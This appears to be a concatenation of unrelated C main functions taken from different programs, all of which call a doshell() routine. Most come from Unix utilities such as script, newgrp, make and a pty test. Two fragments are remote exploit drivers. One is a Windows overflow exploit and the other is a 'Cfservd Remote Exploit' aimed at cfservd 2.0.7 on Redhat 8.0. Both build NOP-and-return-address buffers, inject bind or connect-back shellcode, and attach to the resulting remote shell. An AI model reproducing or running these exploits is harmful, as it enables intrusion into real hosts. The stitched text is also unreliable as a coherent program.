/*the shell starts here*/ main() { /*enable interrupts*/ setup(); /*start the main shell routine*/ doshell(); /*terminate - this shouldn't run*/ exit(); }
int main(int argc, char *argv[]) { int ch, login; if ((euid = geteuid()) != 0) warnx("need root permissions to function properly, check setuid bit"); if (seteuid(getuid()) < 0) err(1, "seteuid"); if ((pwd = getpwuid(getuid())) == NULL) errx(1, "unknown user"); login = 0; while ((ch = getopt(argc, argv, "-l")) != -1) { switch (ch) { case '-': /* Obsolescent */ case 'l': login = 1; break; default: usage(); } } argc -= optind; argv += optind; switch (argc) { case 0: restoregrps(); break; case 1: addgroup(*argv); break; default: usage(); } if (seteuid(euid) < 0) err(1, "seteuid"); if (setuid(getuid()) < 0) err(1, "setuid"); if (login) loginshell(); else doshell(); /*NOTREACHED*/ exit(1); }
int dosys(char *comstring, int nohalt, int nowait, char *prefix) { int status; struct process *procp; /* make sure there is room in the process stack */ if(nproc >= MAXPROC) waitstack(MAXPROC-1); /* make sure fewer than proclimit processes are running */ while(proclive >= proclimit) { enbint(SIG_IGN); waitproc(&status); enbint(intrupt); } if(prefix) { fputs(prefix, stdout); fputs(comstring, stdout); } procp = procstack + nproc; procp->pid = (forceshell || metas(comstring) ) ? doshell(comstring,nohalt) : doexec(comstring); if(procp->pid == -1) fatal("fork failed"); procstack[nproc].nohalt = nohalt; procstack[nproc].nowait = nowait; procstack[nproc].done = NO; ++proclive; ++nproc; if(nowait) { printf(" &%d\n", procp->pid); fflush(stdout); return 0; } if(prefix) { putchar('\n'); fflush(stdout); } return waitstack(nproc-1); }
int escapade() { register char *s; bool interactive = (buf[1] == FINISHCMD); bool docd; char whereiam[512]; if (!finish_command(interactive)) /* get remainder of command */ return -1; s = buf+1; docd = *s != '!'; if (!docd) { s++; } else { getwd(whereiam); if (chdir(cwd)) { printf(nocd,cwd) FLUSH; sig_catcher(0); } } while (*s == ' ') s++; /* skip leading spaces */ interp(cmd_buf, (sizeof cmd_buf), s);/* interpret any % escapes */ resetty(); /* make sure tty is friendly */ doshell(Nullch,cmd_buf); /* invoke the shell */ noecho(); /* and make terminal */ crmode(); /* unfriendly again */ if (docd) { if (chdir(whereiam)) { printf(nocd,whereiam) FLUSH; sig_catcher(0); } } #ifdef MAILCALL mailcount = 0; /* force recheck */ #endif return 0; }
int main(int argc, char *argv[]) { char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr; WSADATA wsd; SOCKET s1, s2; if (argc<2) { usage(argv[0]); } while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break; case 'I': interval=atoi(optarg); break; case 'T': timeout=atoi(optarg); break; case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break; case 'i': ip=optarg; changeip(ip); break; case 'l': mode=1; scsize=SC_SIZE_2; break; case 'r': retsize=atoi(optarg); break; case 's': sc_offset=atoi(optarg); break; case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break; case 'p': port=atoi(optarg); break; case 'H': showtargets(); break; default: usage(argv[0]); break; } } if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); } memset(buff,NOP,BSIZE); ptr=buff+align; for(i=0;i<retsize;i+=4) { *((long *)ptr)=retaddr; ptr+=4; } if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) { err_exit("-> WSAStartup error...."); } if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { err_exit("-> socket() error..."); } sockadd.sin_family=AF_INET; sockadd.sin_port=htons((SHORT)port); ptr=buff+retsize+sc_offset; if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'.."); banner(); if (mode) { printf("-> 'Listening' mode...( port: %d )\n",port); changeport(connback, port, PORT_OFFSET_2); for(i=0;i<scsize;i++) { *ptr++=connback[i]; } do_send(host,timeout); Sleep(1000); sockadd.sin_addr.s_addr=htonl(INADDR_ANY); i_len=sizeof(sockadd); if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) { err_exit("-> bind() error"); } if (listen(s1,0)<0) { err_exit("-> listen() error"); } printf("-> Waiting for connection...\n"); s2=accept(s1,(struct sockaddr *)&sockadd,&i_len); if (s2<0) { err_exit("-> accept() error"); } printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr)); resetalarm(); doshell(s2); } else { printf("-> 'Connecting' mode...\n",port); changeport(bindport, port, PORT_OFFSET_1); for(i=0;i<scsize;i++) { *ptr++=bindport[i]; } do_send(host,timeout); Sleep(1000); printf("-> Will try connecting to shell now....\n"); i=0; while(!flag) { Sleep(interval*1000); if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { printf("-> Trial #%d....\n",i++); } else { flag=1; } } printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port); resetalarm(); doshell(s1); } return 0; }
int main(int argc, char *argv[]) { char opt; char *buf, *ptr, *ip=""; struct sockaddr_in sockadd; int i, s1, s2, i_len, ok=0, mode=0; int time_out=TIME_OUT, scsize=SC_SIZE_1; int s_port=S_PORT, t_port=T_PORT, offset=RET_OFFSET; int retsize=RET_SIZE, align=ALIGN, buffsize=BUFF_SIZE; long ret_addr; if (argc<2) { usage(argv[0]); } while ((opt=getopt(argc,argv,"i:r:b:a:h:t:s:o:T:l"))!=EOF) { switch(opt) { case 'i': ip=optarg; changeip(ip); break; case 'l': mode=1; scsize=SC_SIZE_2; break; case 'T': time_out=atoi(optarg); break; case 'b': buffsize=atoi(optarg); break; case 'a': align=atoi(optarg); break; case 'h': ok=1; sockadd.sin_addr.s_addr = inet_addr(optarg); break; case 'r': retsize=atoi(optarg); break; case 't': t_port=atoi(optarg); break; case 's': s_port=atoi(optarg); break; case 'o': offset=atoi(optarg); break; default: usage(argv[0]); break; } } if (!ok || (mode&&((strcmp(ip,"")==0)) ) ) { usage(argv[0]); } if (!(buf=malloc(buffsize+1))) { err_exit("-> malloc() error"); } ret_addr=RET_ADDR-offset; fprintf(stdout,"\nCfservd Remote Exploit by snooq [ [email protected] ]\n"); fprintf(stdout,"Tested to work against cfservd 2.0.7 on Redhat 8.0\n\n"); fprintf(stdout,"-> Using return address of 0x%08x\n", ret_addr); ptr=buf; for(i=0;i<HDR_SIZE+align;i++) { *ptr++=HDR; } for(i=0;i<(buffsize-HDR_SIZE-align-scsize-retsize);i++) { *ptr++=NOP; } if (mode) { changeport(connback, s_port, PORT_OFFSET_2); for(i=0;i<scsize;i++) { *ptr++=connback[i]; } } else { changeport(bindport, s_port, PORT_OFFSET_1); for(i=0;i<scsize;i++) { *ptr++=bindport[i]; } } for(i=0;i<retsize;i+=4) { *((long *)ptr)=ret_addr; ptr+=4; } *ptr++=0; sockadd.sin_family = AF_INET; sockadd.sin_port = htons(t_port); if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket error"); } if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { err_exit("-> connect() error"); } if (mode) { fprintf(stdout,"-> 'Listening' mode...( port: %d )\n",s_port); if (fork()==0) { sleep(2); if (send(s1,buf,buffsize,0)<0) { err_exit("-> send() error"); } fprintf(stdout,"-> Exploit string sent....\n"); exit(0); } else { signal(SIGALRM,sigalrm); alarm(time_out); if ((s2=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket error"); } memset(&sockadd,0,sizeof(sockadd)); sockadd.sin_family = AF_INET; sockadd.sin_port = htons(s_port); sockadd.sin_addr.s_addr = htonl(INADDR_ANY); i_len=sizeof(sockadd); if (bind(s2,(struct sockaddr *)&sockadd,i_len)<0) { err_exit("-> bind() error"); } if (listen(s2,0)<0) { err_exit("-> listen() error"); } wait(); close(s1); fprintf(stdout,"-> Waiting for connection....\n"); s1=accept(s2,(struct sockaddr *)&sockadd,&i_len); if (s1<0) { err_exit("-> accept() error"); } alarm(0); fprintf(stdout,"-> Connection from: %s\n",inet_ntoa(sockadd.sin_addr)); sendcmd(s1); doshell(s1); } } else { if (send(s1,buf,buffsize,0)<0) { err_exit("-> send() error"); } close(s1); fprintf(stdout,"-> 'Connecting' mode...\n"); fprintf(stdout,"-> Exploit string sent. Waiting for a shell...\n"); sleep(2); sockadd.sin_family = AF_INET; sockadd.sin_port = htons(s_port); if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) { err_exit("-> socket() error"); } if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) { fprintf(stdout,"-> Exploit failed. Target probably segfaulted...\n\n"); exit(0); } fprintf(stdout,"-> Connecting to shell at %s:%d\n",inet_ntoa(sockadd.sin_addr),s_port); sendcmd(s1); doshell(s1); } return(0); }
int main(int argc, char **argv) { struct sigaction sa; extern int optind; char *p; int ch; progname = argv[0]; if ((p = strrchr(progname, '/')) != NULL) progname = p+1; setlocale(LC_ALL, ""); setlocale(LC_NUMERIC, "C"); /* see comment above */ bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); if (argc == 2) { if (!strcmp(argv[1], "-V") || !strcmp(argv[1], "--version")) { printf(_("%s (%s)\n"), progname, PACKAGE_STRING); return 0; } } while ((ch = getopt(argc, argv, "ac:fqt")) != -1) switch((char)ch) { case 'a': aflg++; break; case 'c': cflg = optarg; break; case 'f': fflg++; break; case 'q': qflg++; break; case 't': tflg++; break; case '?': default: fprintf(stderr, _("usage: script [-a] [-f] [-q] [-t] [file]\n")); exit(1); } argc -= optind; argv += optind; if (argc > 0) fname = argv[0]; else { fname = "typescript"; die_if_link(fname); } if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) { perror(fname); fail(); } shell = getenv("SHELL"); if (shell == NULL) shell = _PATH_BSHELL; getmaster(); if (!qflg) printf(_("Script started, file is %s\n"), fname); fixtty(); sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sa.sa_handler = finish; sigaction(SIGCHLD, &sa, NULL); child = fork(); if (child < 0) { perror("fork"); fail(); } if (child == 0) { subchild = child = fork(); if (child < 0) { perror("fork"); fail(); } if (child) dooutput(); else doshell(); } else { sa.sa_handler = resize; sigaction(SIGWINCH, &sa, NULL); } doinput(); return 0; }
int main(int argc, char **argv) { sigset_t block_mask, unblock_mask; struct sigaction sa; int ch; FILE *timingfd = stderr; enum { FORCE_OPTION = CHAR_MAX + 1 }; static const struct option longopts[] = { { "append", no_argument, NULL, 'a' }, { "command", required_argument, NULL, 'c' }, { "return", no_argument, NULL, 'e' }, { "flush", no_argument, NULL, 'f' }, { "force", no_argument, NULL, FORCE_OPTION, }, { "quiet", no_argument, NULL, 'q' }, { "timing", optional_argument, NULL, 't' }, { "version", no_argument, NULL, 'V' }, { "help", no_argument, NULL, 'h' }, { NULL, 0, NULL, 0 } }; setlocale(LC_ALL, ""); setlocale(LC_NUMERIC, "C"); /* see comment above */ bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); atexit(close_stdout); while ((ch = getopt_long(argc, argv, "ac:efqt::Vh", longopts, NULL)) != -1) switch(ch) { case 'a': aflg = 1; break; case 'c': cflg = optarg; break; case 'e': eflg = 1; break; case 'f': fflg = 1; break; case FORCE_OPTION: forceflg = 1; break; case 'q': qflg = 1; break; case 't': if (optarg) if ((timingfd = fopen(optarg, "w")) == NULL) err(EXIT_FAILURE, _("cannot open timing file %s"), optarg); tflg = 1; break; case 'V': printf(_("%s from %s\n"), program_invocation_short_name, PACKAGE_STRING); exit(EXIT_SUCCESS); break; case 'h': usage(stdout); break; case '?': default: usage(stderr); } argc -= optind; argv += optind; if (argc > 0) fname = argv[0]; else { fname = DEFAULT_OUTPUT; die_if_link(fname); } if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) { warn(_("open failed: %s"), fname); fail(); } shell = getenv("SHELL"); if (shell == NULL) shell = _PATH_BSHELL; getmaster(); if (!qflg) printf(_("Script started, file is %s\n"), fname); fixtty(); #ifdef HAVE_LIBUTEMPTER utempter_add_record(master, NULL); #endif /* setup SIGCHLD handler */ sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sa.sa_handler = finish; sigaction(SIGCHLD, &sa, NULL); /* init mask for SIGCHLD */ sigprocmask(SIG_SETMASK, NULL, &block_mask); sigaddset(&block_mask, SIGCHLD); sigprocmask(SIG_SETMASK, &block_mask, &unblock_mask); child = fork(); sigprocmask(SIG_SETMASK, &unblock_mask, NULL); if (child < 0) { warn(_("fork failed")); fail(); } if (child == 0) { sigprocmask(SIG_SETMASK, &block_mask, NULL); subchild = child = fork(); sigprocmask(SIG_SETMASK, &unblock_mask, NULL); if (child < 0) { warn(_("fork failed")); fail(); } if (child) dooutput(timingfd); else doshell(); } else { sa.sa_handler = resize; sigaction(SIGWINCH, &sa, NULL); } doinput(); if (close_stream(timingfd) != 0) errx(EXIT_FAILURE, _("write error")); return EXIT_SUCCESS; }
int Active_StartSession() { log = fopen("log_file", "w"); /* FIXME hardcoded */ if (pipe(xfer_fifo)) { ERROR("Pipe creation failure"); return 1; } /* FIXME end hardcoded */ mpty = dopty(); if (!mpty) { ERROR("Pty creation failed"); return 1; } fixtty(); if (USE_FORKS) { signal(SIGCHLD, finish); /* we create 2 forks, one acts as a new shell and the other * continues the process of this code. * * child 0 continues to run this code * and child > 0 runs the new shell */ child = fork(); if (child < 0) { ERROR("Creation of fork failed"); return 1; } /* printf("CHILD %d\n", getpid()); */ if (child == 0) { child = fork(); /* printf("CHILD2 %d\n", getpid()); */ if (child == 0) { subchild = child = fork(); /* printf("CHILD3 %d\n", getpid()); */ TRACE(Neuro_s("Process %d -- PTY size : col %d row %d", getpid(), mpty->wsize.ws_col, mpty->wsize.ws_row)); if (child == 0) doshell(); else dooutput(); } doinput(); } else signal(SIGWINCH, resize); } else { signal(SIGWINCH, resize); child = fork(); if (child < 0) { ERROR("Creation of fork failed"); return 1; } if (child > 0) doshell(); } fcntl(xfer_fifo[0], F_SETFL, O_NONBLOCK); close(xfer_fifo[1]); /* activate the polling */ activated = 1; return 0; }
int main(int argc, char *argv[]) { uid_t ruidt; gid_t gidt; (void) setlocale(LC_ALL, ""); #if !defined(TEXT_DOMAIN) #define TEXT_DOMAIN "SYS_TEST" #endif (void) textdomain(TEXT_DOMAIN); shell = getenv("SHELL"); if (shell == NULL) shell = "/bin/sh"; argc--, argv++; while (argc > 0 && argv[0][0] == '-') { switch (argv[0][1]) { case 'a': aflg++; break; default: fprintf(stderr, gettext("usage: script [ -a ] [ typescript ]\n")); exit(1); } argc--, argv++; } if (argc > 0) fname = argv[0]; ruidt = getuid(); gidt = getgid(); if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) { perror(fname); fail(); } setbuf(fscript, NULL); chown(fname, ruidt, gidt); getmaster(); printf(gettext("Script started, file is %s\n"), fname); fixtty(); (void) signal(SIGCHLD, finish); child = fork(); if (child < 0) { perror("fork"); fail(); } if (child == 0) { subchild = child = fork(); if (child < 0) { perror("fork"); fail(); } if (child) dooutput(); else doshell(); } doinput(); /* NOTREACHED */ return (0); }
int main(int argc, char **argv) { int mfd,sfd; int status; struct termios t; char buffer[80]; char *tomaster = "2MASTER\n"; char *toslave = "2SLAVE\n"; char name[16]; char *ttynam; struct stat sb; if (openpty(&mfd,&sfd,name,0,0) < 0) { printf("out of ptys\n"); return -1; } printf("opened: %s\n",name); master = mfd; slave = sfd; printf("testing ttyname\n"); if (ttynam = ttyname(master)) { name[5] = 'p'; printf("opened pty: %s, ttyname returned on master %s\n", name,ttynam); if (!strcmp(name,ttynam)) printf("Ok\n"); else printf("Failed ttyname for master\n"); if (!stat(name,&sb)) { print_statbuf(name,&sb); } else { printf("could not do stat on %s errno: %d\n",name,errno); } } else { printf("could not do ttyname on master fd\n"); } if (ttynam = ttyname(slave)) { name[5] = 't'; printf("opened pty: %s, ttyname returned on slave %s\n", name,ttynam); if (!strcmp(name,ttynam)) printf("Ok\n"); else printf("Failed ttyname for slave\n"); if (!stat(name,&sb)) { print_statbuf(name,&sb); } else { printf("could not do stat on %s errno: %d\n",name,errno); } } else { printf("could not do ttyname on slave fd\n"); } probefd(); if (test_select() == 0) {printf("test_select ok\n");} #if 0 return 0; test_nonblocking(); test_blocking(); test_raw(); #endif if (fork() != 0) { printf("going to read slave\n"); if ((status = read(sfd,buffer,76)) > 0) { buffer[status] = 0; printf("0read slave: \"%s\"\n",buffer); } else { printf("0read slave returned: %d, errno: %d\n",status,errno); } } else { printf("parent should be blocking for 3 seconds\n"); sleep (3); printf("writing data...\n"); write(mfd,"wakeup\n",7); printf("wrote data\n"); exit(0); } #if 1 printf("setting master and slave nonblocking\n"); fcntl(mfd,F_SETFL,O_NONBLOCK); fcntl(sfd,F_SETFL,O_NONBLOCK); #endif #if 0 assert(tcgetattr(sfd,&t) == 0); t.c_lflag &= ~(ICANON); /* make it raw */ t.c_cc[VMIN] = 10; t.c_cc[VTIME] = 2; (void) tcsetattr(sfd, TCSAFLUSH, &t); #endif assert(tcgetattr(mfd,&t) == 0); assert(tcgetattr(sfd,&t) == 0); printf("echo: %d echonl: %d\n", t.c_lflag & ECHO,t.c_lflag & ECHONL); #if 0 return (doshell(mfd,sfd)); #endif probefd(); if ((status = read(mfd,buffer,80)) > 0) { buffer[status] = 0; printf("1read master (echo on): \"%s\"\n",buffer); } else { printf("1read master returned: %d, errno: %d\n",status,errno); } if ((status = read(sfd,buffer,80)) > 0) { buffer[status] = 0; printf("2read slave (echo on): \"%s\"\n",buffer); } else { printf("2read slave returned: %d, errno: %d\n",status,errno); } if (fork() == 0) { /* child */ write(mfd,tomaster,strlen(tomaster)); exit(0); } sleep(2); write(sfd,toslave,strlen(toslave)); if ((status = read(mfd,buffer,80)) > 0) { buffer[status] = 0; printf("3read master (echo on): \"%s\"\n",buffer); } else { printf("3read master returned: %d, errno: %d\n",status,errno); } if ((status = read(sfd,buffer,80)) > 0) { buffer[status] = 0; printf("4read slave (echo on): \"%s\"\n",buffer); } else { printf("4read slave returned: %d, errno: %d\n",status,errno); } assert(tcgetattr(mfd,&t) == 0); assert(tcgetattr(sfd,&t) == 0); t.c_lflag &= ~(ECHO); t.c_lflag |= ECHONL; (void) tcsetattr(sfd, TCSANOW, &t); printf("echo: %d echonl: %d\n", t.c_lflag & ECHO,t.c_lflag & ECHONL); write(mfd,tomaster,strlen(tomaster)); write(sfd,toslave,strlen(toslave)); probefd(); if ((status = read(mfd,buffer,80)) > 0) { buffer[status] = 0; printf("5read master (echo off): \"%s\"\n",buffer); } else { printf("5read master returned: %d\n",status); } probefd(); if ((status = read(sfd,buffer,80)) > 0) { buffer[status] = 0; printf("6read slave: \"%s\"\n",buffer); } else { printf("6read slave returned: %d\n",status); } probefd(); (void) close(sfd); (void) close(mfd); return 0; }
int main(int argc, char *argv[]) { int cc; struct termios rtt, stt; struct winsize win; int ch, n; struct timeval tv, *tvp; time_t tvec, start; char obuf[BUFSIZ]; char ibuf[BUFSIZ]; fd_set rfd; int flushtime = 30; int readstdin; int nfds=0; while ((ch = getopt(argc, argv, "hnw")) != -1) switch(ch) { case 'n': ambi_width=1; break; case 'w': ambi_width=2; break; case 'h': case '?': default: usage(); } argc -= optind; argv += optind; if(getenv("TERMIM")!=NULL) err(1, "already in termim"); if(pipe(tube)==-1) err(1, "pipe"); sprintf(obuf, "%d", tube[1]); setenv("TERMIM", obuf, 1); if ((ttyflg = isatty(STDIN_FILENO)) != 0) { if (tcgetattr(STDIN_FILENO, &tt) == -1) err(1, "tcgetattr"); if (ioctl(STDIN_FILENO, TIOCGWINSZ, &win) == -1) err(1, "ioctl"); win.ws_row-=2; term=term_create(); term_assoc_output(term, STDOUT_FILENO); term_set_size(term, win.ws_row, win.ws_col); term_set_offset(term, 0, 0); if (openpty(&master, &slave, NULL, &tt, &win) == -1) err(1, "openpty"); term2=term_create(); term_assoc_output(term2, STDOUT_FILENO); term_set_size(term2, 2, win.ws_col); term_set_offset(term2, win.ws_row, 0); win.ws_row=2; if (openpty(&master2, &slave2, NULL, &tt, &win) == -1) err(1, "openpty"); } else { if (openpty(&master, &slave, NULL, NULL, NULL) == -1) err(1, "openpty"); if (openpty(&master2, &slave2, NULL, NULL, NULL) == -1) err(1, "openpty"); } if (!qflg) { tvec = time(NULL); } if (ttyflg) { rtt = tt; cfmakeraw(&rtt); rtt.c_lflag &= ~ECHO; (void)tcsetattr(STDIN_FILENO, TCSAFLUSH, &rtt); } tcgetattr(master2, &rtt); cfmakeraw(&rtt); rtt.c_lflag &= ~ECHO; tcsetattr(master2, TCSAFLUSH, &rtt); signal(SIGCHLD, &sigchild); child = fork(); if (child < 0) { warn("fork"); done(1); } if (child == 0) doshell(argv); close(slave); child2 = fork(); if (child2 < 0) { warn("fork"); done(1); } if (child2 == 0) dodock(); close(tube[1]); fcntl(tube[0], F_SETFL, O_NONBLOCK); fcntl(master, F_SETFL, O_NONBLOCK); signal(SIGINT, &sigforwarder); signal(SIGQUIT, &sigforwarder); signal(SIGPIPE, &sigforwarder); #ifndef __linux signal(SIGINFO, &sigforwarder); #endif signal(SIGUSR1, &sigforwarder); signal(SIGUSR2, &sigforwarder); signal(SIGWINCH, &winchforwarder); #define RESET "\033[m\033[2J\033[H" term_write(term, RESET, sizeof(RESET)); term_write(term2, RESET, sizeof(RESET)); start = tvec = time(0); readstdin = 1; if(master2 > tube[0]) nfds = tube[0]; if(master > nfds) nfds = master; if(master2 > nfds) nfds = master2; if(STDIN_FILENO > nfds) nfds = STDIN_FILENO; nfds+=1; for (;;) { FD_ZERO(&rfd); FD_SET(tube[0], &rfd); FD_SET(master, &rfd); FD_SET(master2, &rfd); if (readstdin) FD_SET(STDIN_FILENO, &rfd); if (!readstdin && ttyflg) { tv.tv_sec = 1; tv.tv_usec = 0; tvp = &tv; readstdin = 1; } else if (flushtime > 0) { tv.tv_sec = flushtime - (tvec - start); tv.tv_usec = 0; tvp = &tv; } else { tvp = NULL; } n = select(nfds, &rfd, 0, 0, tvp); if (n < 0 && errno != EINTR) break; if (n > 0 && FD_ISSET(STDIN_FILENO, &rfd)) { cc = read(STDIN_FILENO, ibuf, sizeof (ibuf)); if (cc < 0) break; if (cc == 0) { if (tcgetattr(master, &stt) == 0 && (stt.c_lflag & ICANON) != 0) { (void)write(master, &stt.c_cc[VEOF], 1); } readstdin = 0; } write(master2, ibuf, cc); } if (n > 0 && FD_ISSET(master, &rfd)) { while(1){ cc = read(master, obuf, sizeof (obuf)); if (cc <= 0) break; term_write(term, obuf, cc); } } if (n > 0 && FD_ISSET(master2, &rfd)) { cc = read(master2, obuf, sizeof (obuf)); if (cc <= 0) break; term_write(term2, obuf, cc); } if (n > 0 && FD_ISSET(tube[0], &rfd)) { cc = read(tube[0], ibuf, sizeof (ibuf)); if(cc < 0 && errno!=EAGAIN) break; write(master, ibuf, cc); } tvec = time(0); if (tvec - start >= flushtime) { start = tvec; } } finish(); done(0); }
int ttyrec_main (int game, char *username, char *ttyrec_path, char* ttyrec_filename) { char dirname[100]; /* Note our PID to let children kill the main dgl process for idling */ dgl_parent = getpid(); child = subchild = input_child = 0; if (!ttyrec_path) { child = fork(); if (child < 0) { perror ("fork"); fail (); } if (child == 0) { execvp (myconfig[game]->game_path, myconfig[game]->bin_args); } else { int status; (void) wait(&status); } return 0; } if (ttyrec_path[strlen(ttyrec_path)-1] == '/') snprintf (dirname, 100, "%s%s", ttyrec_path, ttyrec_filename); else snprintf (dirname, 100, "%s/%s", ttyrec_path, ttyrec_filename); atexit(&remove_ipfile); if ((fscript = fopen (dirname, "w")) == NULL) { perror (dirname); fail (); } setbuf (fscript, NULL); fixtty (); (void) signal (SIGCHLD, finish); child = fork (); if (child < 0) { perror ("fork"); fail (); } if (child == 0) { subchild = child = fork (); if (child < 0) { perror ("fork"); fail (); } if (child) { close (slave); ipfile = gen_inprogress_lock (game, child, ttyrec_filename); ttyrec_id(game, username, ttyrec_filename); dooutput (myconfig[game]->max_idle_time); } else doshell (game, username); } (void) fclose (fscript); wait_for_menu = 1; input_child = fork(); if (input_child < 0) { perror ("fork2"); fail (); } if (!input_child) doinput (); else { while (wait_for_menu) sleep(1); } remove_ipfile(); child = 0; return 0; }
int main(int argc, char *argv[]) { int cc; struct termios rtt, stt; struct winsize win; int aflg, kflg, ch, n; struct timeval tv, *tvp; time_t tvec, start; char obuf[BUFSIZ]; char ibuf[BUFSIZ]; fd_set rfd; int flushtime = 30; aflg = kflg = 0; while ((ch = getopt(argc, argv, "aqkt:")) != -1) switch(ch) { case 'a': aflg = 1; break; case 'q': qflg = 1; break; case 'k': kflg = 1; break; case 't': flushtime = atoi(optarg); if (flushtime < 0) err(1, "invalid flush time %d", flushtime); break; case '?': default: usage(); } argc -= optind; argv += optind; if (argc > 0) { fname = argv[0]; argv++; argc--; } else fname = "typescript"; if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) err(1, "%s", fname); if (ttyflg = isatty(STDIN_FILENO)) { if (tcgetattr(STDIN_FILENO, &tt) == -1) err(1, "tcgetattr"); if (ioctl(STDIN_FILENO, TIOCGWINSZ, &win) == -1) err(1, "ioctl"); if (openpty(&master, &slave, NULL, &tt, &win) == -1) err(1, "openpty"); } else { if (openpty(&master, &slave, NULL, NULL, NULL) == -1) err(1, "openpty"); } if (!qflg) { tvec = time(NULL); (void)printf("Script started, output file is %s\n", fname); (void)fprintf(fscript, "Script started on %s", ctime(&tvec)); fflush(fscript); } if (ttyflg) { rtt = tt; cfmakeraw(&rtt); rtt.c_lflag &= ~ECHO; (void)tcsetattr(STDIN_FILENO, TCSAFLUSH, &rtt); } child = fork(); if (child < 0) { warn("fork"); done(1); } if (child == 0) doshell(argv); #ifdef __APPLE__ (void)close(slave); #endif /* __APPLE__ */ if (flushtime > 0) tvp = &tv; else tvp = NULL; start = time(0); FD_ZERO(&rfd); for (;;) { FD_SET(master, &rfd); FD_SET(STDIN_FILENO, &rfd); if (flushtime > 0) { tv.tv_sec = flushtime; tv.tv_usec = 0; } n = select(master + 1, &rfd, 0, 0, tvp); if (n < 0 && errno != EINTR) break; if (n > 0 && FD_ISSET(STDIN_FILENO, &rfd)) { cc = read(STDIN_FILENO, ibuf, BUFSIZ); if (cc < 0) break; if (cc == 0) (void)write(master, ibuf, 0); if (cc > 0) { (void)write(master, ibuf, cc); if (kflg && tcgetattr(master, &stt) >= 0 && ((stt.c_lflag & ECHO) == 0)) { (void)fwrite(ibuf, 1, cc, fscript); } } } if (n > 0 && FD_ISSET(master, &rfd)) { cc = read(master, obuf, sizeof (obuf)); if (cc <= 0) break; (void)write(STDOUT_FILENO, obuf, cc); (void)fwrite(obuf, 1, cc, fscript); } tvec = time(0); if (tvec - start >= flushtime) { fflush(fscript); start = tvec; } } finish(); done(0); }